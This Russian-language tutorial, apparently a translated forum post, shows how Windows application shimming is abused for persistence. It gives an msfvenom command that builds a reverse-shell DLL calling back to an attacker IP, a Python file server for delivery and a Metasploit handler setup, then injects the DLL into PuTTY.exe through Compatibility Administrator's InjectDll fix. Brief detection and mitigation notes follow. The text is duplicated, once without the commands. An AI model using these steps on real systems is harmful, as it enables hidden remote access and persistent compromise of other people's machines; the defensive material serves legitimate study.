Application Shimming - это метод, используемый в ОС Windows, который позволяет приложениям, разработанные для более ранних версий ОС Windows, продолжать работу в последней версии Windows.
Содержание
Что такое Shimming?
Начиная с ранних версий Microsoft Windows, были некоторые фундаментальные функции, которые были частью основных функциональных возможностей Windows. Одним из них является их «Обратная совместимость».Если ваше программное обеспечение было разработано во времена Windows XP, а теперь у нас есть Windows 10, и вы беспокоитесь, сможет ли он запустить этот программный продукт, после обновления. Здесь в игру вступает обратная совместимость. Это дает нам возможность запускать программное обеспечение в ОС Windows, которое не было разработано для этой конкретной ОС.
«Инфраструктура Shim» помогла пользователям получить обратную совместимость. Теперь нужно помнить, что на протяжении всех этих лет разработки Windows сохраняла свою базовую архитектуру одинаковой. Они развивались по той же схеме, с которой начали работать в начале девяностых. Это означает, что в Windows 10 все еще есть фрагменты кода, существовавшие со времен Windows 95.
Как оно работает?
Инфраструктура Shim применяет метод перехвата интерфейса прикладного программирования (API). Это вынуждает связывать перенаправляющие вызовы API из самой Windows с альтернативным кодом - самой оболочкой. Спецификация Windows Portable Executable (PE) и Common Object Format (COFF) включает в себя несколько заголовков, а каталоги данных в этом заголовке обеспечивают уровень косвенности между приложением и связанным файлом. Вызовы внешних двоичных файлов осуществляются через таблицу адресов импорта (IAT). Следовательно, вызов в Windows выглядит как изображение, показанное ниже для системы.
Мы можем изменить адрес функции Windows, зафиксированной в таблице импорта, а затем заменить ее указателем на функцию в альтернативном коде подстановки, как показано на рисунке ниже.
Это косвенное обращение происходит в статически связанных DLL-файлах при загрузке приложения. Вы также можете использовать динамически связанные DLL-файлы, подключив их к API.
Конфигурации, используемые в практике
Хакер:
ОС: Kali Linux 2019.4
Инструменты:
Цель:
ОС: Windows 10 (сборка 1909 г.)
Инструменты:
Вы можете скачать Инструменты, нажав на их имя.
Приложение Shimming может выполнять много функций, но сейчас мы сосредоточимся на том, чтобы получить оболочку в целевой системе. Этот метод был протестирован в лабораторно-контролируемой среде, настроенной на минимальные помехи. Реальный сценарий реальной жизни может отличаться.
Создание вредоносной библиотеки DLL
Чтобы начать эксплуатацию, мы решили создать полезную нагрузку, используя инструмент MSFVenom. Мы использовали полезную нагрузку reverse_tcp с целевым назначением Windows System и получением оболочки. Мы определили LHOST для IP-адреса для атакующей машины, за которым последовал последующий LPORT, на котором мы будем получать сеанс от целевой машины. Мы создали эту полезную нагрузку в форме библиотеки динамических ссылок или DLL и назвали ее inject.dll
Как уже говорилось в разделе «Используемые конфигурации», нам нужен комплект для оценки и развертывания Windows. После загрузки и установки у нас есть сервис внутри него. Это называется администратором совместимости. Нам понадобится это, чтобы продолжить.
Теперь на нашей атакующей машине мы перенесли недавно созданную DLL на целевую машину. Для этого мы используем однострочник Python. Есть много способов сделать это. Мы запускаем Multi/Handler на компьютере атакующего с правильной конфигурацией для получения сеанса, который будет сгенерирован в ближайшее время.
Внедрение вредоносных DLL
Теперь мы переключим наше внимание на целевую машину. После просмотра IP-адреса атакующего компьютера и загрузки вредоносного DLL-файла мы открываем Администратора совместимости, как показано на рисунке ниже. Здесь мы используем 32-битную версию, так как к ней проще привязать DLL. Мы также создали новую пользовательскую базу данных.
Теперь мы начинаем процесс связывания безопасного и оригинального исполняемого файла без вредоносного DLL-файла. Мы щелкнули правой кнопкой мыши на нашей вновь созданной базе данных и выбрали первый вариант в выпадающем меню под названием Создать новую. Это приводит к открытию раскрывающегося меню. Мы выбираем опцию исправления приложения, как показано на рисунке ниже. Мы также можем использовать ярлык, нажав клавиши Ctrl и P одновременно.
Как только мы нажимаем на эту опцию исправления приложения, у нас появляется окно конфигурации под названием «Создать новое исправление приложения». Мы вводим название Программы, которое должно быть зафиксировано как «заплатка». И мы предоставляем путь исполняемого файла к программе, в которую мы хотим внедрить нашу вредоносную DLL. В этом случае мы указываем путь к PuTTY.exe и нажимаем Далее.
Теперь нас спрашивают режимы совместимости. Это было бы важно, если бы мы исправляли подлинный исполняемый файл. Или используя Shimming для подлинных целей. Поскольку мы этого не делаем, мы пропустим этот шаг и нажмем кнопку «Далее» и продолжим.
Сейчас мы на важном этапе. Нам задают исправление совместимости, которое мы хотим применить к исполняемому файлу. Мы выбираем опцию «InjectDll» из списка, как показано на рисунке ниже. После установки флажка мы нажимаем кнопку «Параметры», чтобы указать путь к вредоносной DLL, которую мы создали в начале эксплуатации.
Это открывает новое маленькое окно с запросом командной строки. Здесь мы указываем путь к нашей вредоносной DLL и нажимаем кнопку ОК.
Вернувшись в окно конфигурации, мы нажимаем кнопку «Далее», и теперь перед нами панель «Соответствующая информация». Мы нажимаем кнопку «Отменить выбор всех», так как не хотим добавлять дополнительные конфигурации в полезную нагрузку. Наконец, мы нажимаем кнопку Готово.
Это закрывает окно конфигурации. Мы вернулись к нашему окну совместимости администратора. Мы нажимаем кнопку Сохранить, как показано на рисунке ниже, чтобы вставить нашу DLL в исполняемый файл PuTTY.
Нас просят назвать базу данных, мы называем ее puttyshim. Это может быть что угодно. В реальной жизни атакующиq выбирают имя, которое менее заметно.
После присвоения имени базе данных у нас спрашивают место, куда мы хотим сохранить базу данных AppCompat или файл .sdb полной конфигурации.
Установка зараженного исполняемого файла
Теперь, когда это сделано, мы установим зараженный исполняемый файл на целевой машине. Это можно сделать, щелкнув правой кнопкой мыши на имени базы данных и выбрав опцию Install из выпадающего меню.
Это инициирует процесс установки, который установит наш зараженный исполняемый файл в качестве службы. Мы видим это в разделе «Программы и компоненты» на панели управления, как показано на рисунке ниже. Если бы мы добавили информацию об издателе или поставщике на более раннем этапе, она появилась бы здесь.
Получение оболочки
Как только мы запустим программу на целевой машине, мы получим оболочку на нашей атакующей машине, как показано на рисунке ниже. Мы можем добавить зараженный сервис в список запуска, чтобы получать оболочку каждый раз при перезагрузке целевой системы.
Это завершило эксплуатацию. Теперь поговорим о защитных механизмах.
Обнаружение
Есть много доступных инструментов, которые могут обнаружить приложения, которые были установлены.
Как защититса:
1)Как всегда, первая линия защиты от любых атак - это обновление нашей инфраструктуры и устройств. Microsoft выпустила этот
2)Некоторые инструменты, такие как в разделе «Обнаружение», могут быть использованы для уменьшения шиммирования приложений.
3)Shim-Guard: обнаруживает и предупреждает о новых установленных прокладках
4)Мы также можем внедрить строгие политики UAC, чтобы уведомлять, когда пользователь получает повышенные привилегии.
Источник:
Содержание
- Вступление
- Что такое приложение Shimming?
- Как работает Application Shimming?
- Конфигурации, используемые в практических
- Постоянство с помощью приложения Shimming
- Создание вредоносной библиотеки DLL
- Внедрение вредоносных DLL
- Установка зараженного исполняемого файла
- Получение стойкой оболочки
- Обнаружение
- Что предпринять
Что такое Shimming?
Начиная с ранних версий Microsoft Windows, были некоторые фундаментальные функции, которые были частью основных функциональных возможностей Windows. Одним из них является их «Обратная совместимость».Если ваше программное обеспечение было разработано во времена Windows XP, а теперь у нас есть Windows 10, и вы беспокоитесь, сможет ли он запустить этот программный продукт, после обновления. Здесь в игру вступает обратная совместимость. Это дает нам возможность запускать программное обеспечение в ОС Windows, которое не было разработано для этой конкретной ОС.
«Инфраструктура Shim» помогла пользователям получить обратную совместимость. Теперь нужно помнить, что на протяжении всех этих лет разработки Windows сохраняла свою базовую архитектуру одинаковой. Они развивались по той же схеме, с которой начали работать в начале девяностых. Это означает, что в Windows 10 все еще есть фрагменты кода, существовавшие со времен Windows 95.
Как оно работает?
Инфраструктура Shim применяет метод перехвата интерфейса прикладного программирования (API). Это вынуждает связывать перенаправляющие вызовы API из самой Windows с альтернативным кодом - самой оболочкой. Спецификация Windows Portable Executable (PE) и Common Object Format (COFF) включает в себя несколько заголовков, а каталоги данных в этом заголовке обеспечивают уровень косвенности между приложением и связанным файлом. Вызовы внешних двоичных файлов осуществляются через таблицу адресов импорта (IAT). Следовательно, вызов в Windows выглядит как изображение, показанное ниже для системы.
Мы можем изменить адрес функции Windows, зафиксированной в таблице импорта, а затем заменить ее указателем на функцию в альтернативном коде подстановки, как показано на рисунке ниже.
Это косвенное обращение происходит в статически связанных DLL-файлах при загрузке приложения. Вы также можете использовать динамически связанные DLL-файлы, подключив их к API.
Конфигурации, используемые в практике
Хакер:
ОС: Kali Linux 2019.4
Инструменты:
Ссылка скрыта от гостей
,
Ссылка скрыта от гостей
Цель:
ОС: Windows 10 (сборка 1909 г.)
Инструменты:
Ссылка скрыта от гостей
,
Ссылка скрыта от гостей
Вы можете скачать Инструменты, нажав на их имя.
Приложение Shimming может выполнять много функций, но сейчас мы сосредоточимся на том, чтобы получить оболочку в целевой системе. Этот метод был протестирован в лабораторно-контролируемой среде, настроенной на минимальные помехи. Реальный сценарий реальной жизни может отличаться.
Создание вредоносной библиотеки DLL
Чтобы начать эксплуатацию, мы решили создать полезную нагрузку, используя инструмент MSFVenom. Мы использовали полезную нагрузку reverse_tcp с целевым назначением Windows System и получением оболочки. Мы определили LHOST для IP-адреса для атакующей машины, за которым последовал последующий LPORT, на котором мы будем получать сеанс от целевой машины. Мы создали эту полезную нагрузку в форме библиотеки динамических ссылок или DLL и назвали ее inject.dll
msfvenom -p windows/shell/reverse_tcp lport=9999 lhost=192.168.1.2 -f dll > inject.dll
Как уже говорилось в разделе «Используемые конфигурации», нам нужен комплект для оценки и развертывания Windows. После загрузки и установки у нас есть сервис внутри него. Это называется администратором совместимости. Нам понадобится это, чтобы продолжить.
Теперь на нашей атакующей машине мы перенесли недавно созданную DLL на целевую машину. Для этого мы используем однострочник Python. Есть много способов сделать это. Мы запускаем Multi/Handler на компьютере атакующего с правильной конфигурацией для получения сеанса, который будет сгенерирован в ближайшее время.
Код:
python -SimpleHTTPServer 80
msfconsole
use multi/handler
set payload windows/shell/reverse_tcp
set lhost 192.168.1.2
set lport 9999
run
Теперь мы переключим наше внимание на целевую машину. После просмотра IP-адреса атакующего компьютера и загрузки вредоносного DLL-файла мы открываем Администратора совместимости, как показано на рисунке ниже. Здесь мы используем 32-битную версию, так как к ней проще привязать DLL. Мы также создали новую пользовательскую базу данных.
Теперь мы начинаем процесс связывания безопасного и оригинального исполняемого файла без вредоносного DLL-файла. Мы щелкнули правой кнопкой мыши на нашей вновь созданной базе данных и выбрали первый вариант в выпадающем меню под названием Создать новую. Это приводит к открытию раскрывающегося меню. Мы выбираем опцию исправления приложения, как показано на рисунке ниже. Мы также можем использовать ярлык, нажав клавиши Ctrl и P одновременно.
Как только мы нажимаем на эту опцию исправления приложения, у нас появляется окно конфигурации под названием «Создать новое исправление приложения». Мы вводим название Программы, которое должно быть зафиксировано как «заплатка». И мы предоставляем путь исполняемого файла к программе, в которую мы хотим внедрить нашу вредоносную DLL. В этом случае мы указываем путь к PuTTY.exe и нажимаем Далее.
Теперь нас спрашивают режимы совместимости. Это было бы важно, если бы мы исправляли подлинный исполняемый файл. Или используя Shimming для подлинных целей. Поскольку мы этого не делаем, мы пропустим этот шаг и нажмем кнопку «Далее» и продолжим.
Сейчас мы на важном этапе. Нам задают исправление совместимости, которое мы хотим применить к исполняемому файлу. Мы выбираем опцию «InjectDll» из списка, как показано на рисунке ниже. После установки флажка мы нажимаем кнопку «Параметры», чтобы указать путь к вредоносной DLL, которую мы создали в начале эксплуатации.
Это открывает новое маленькое окно с запросом командной строки. Здесь мы указываем путь к нашей вредоносной DLL и нажимаем кнопку ОК.
Вернувшись в окно конфигурации, мы нажимаем кнопку «Далее», и теперь перед нами панель «Соответствующая информация». Мы нажимаем кнопку «Отменить выбор всех», так как не хотим добавлять дополнительные конфигурации в полезную нагрузку. Наконец, мы нажимаем кнопку Готово.
Это закрывает окно конфигурации. Мы вернулись к нашему окну совместимости администратора. Мы нажимаем кнопку Сохранить, как показано на рисунке ниже, чтобы вставить нашу DLL в исполняемый файл PuTTY.
Нас просят назвать базу данных, мы называем ее puttyshim. Это может быть что угодно. В реальной жизни атакующиq выбирают имя, которое менее заметно.
После присвоения имени базе данных у нас спрашивают место, куда мы хотим сохранить базу данных AppCompat или файл .sdb полной конфигурации.
Установка зараженного исполняемого файла
Теперь, когда это сделано, мы установим зараженный исполняемый файл на целевой машине. Это можно сделать, щелкнув правой кнопкой мыши на имени базы данных и выбрав опцию Install из выпадающего меню.
Это инициирует процесс установки, который установит наш зараженный исполняемый файл в качестве службы. Мы видим это в разделе «Программы и компоненты» на панели управления, как показано на рисунке ниже. Если бы мы добавили информацию об издателе или поставщике на более раннем этапе, она появилась бы здесь.
Получение оболочки
Как только мы запустим программу на целевой машине, мы получим оболочку на нашей атакующей машине, как показано на рисунке ниже. Мы можем добавить зараженный сервис в список запуска, чтобы получать оболочку каждый раз при перезагрузке целевой системы.
Это завершило эксплуатацию. Теперь поговорим о защитных механизмах.
Обнаружение
Есть много доступных инструментов, которые могут обнаружить приложения, которые были установлены.
- Shim-File-Scan ner: сканирует файлы / папки на наличие нестандартных прокладок и проверяет реестр на наличие установленных прокладок
- Shim- Process-Scanner: будет искать во всех процессах флаги shim, а также проверять помощник Shim App
- HKLM \ ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ \ Microsoft \ Windows NT \ CurrentVersion \ AppCompatFlags \ Custom
- HKLM \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ AppCompatFlags \ InstalledSDB
- C: \ Windows \ AppPatch \ Пользовательские \
- C: \ Windows \ AppPatch \ Пользовательские \ Custom64 \
Как защититса:
1)Как всегда, первая линия защиты от любых атак - это обновление нашей инфраструктуры и устройств. Microsoft выпустила этот
Ссылка скрыта от гостей
для ограничения приложения Shim для обхода UAC.2)Некоторые инструменты, такие как в разделе «Обнаружение», могут быть использованы для уменьшения шиммирования приложений.
3)Shim-Guard: обнаруживает и предупреждает о новых установленных прокладках
4)Мы также можем внедрить строгие политики UAC, чтобы уведомлять, когда пользователь получает повышенные привилегии.
Источник:
Ссылка скрыта от гостей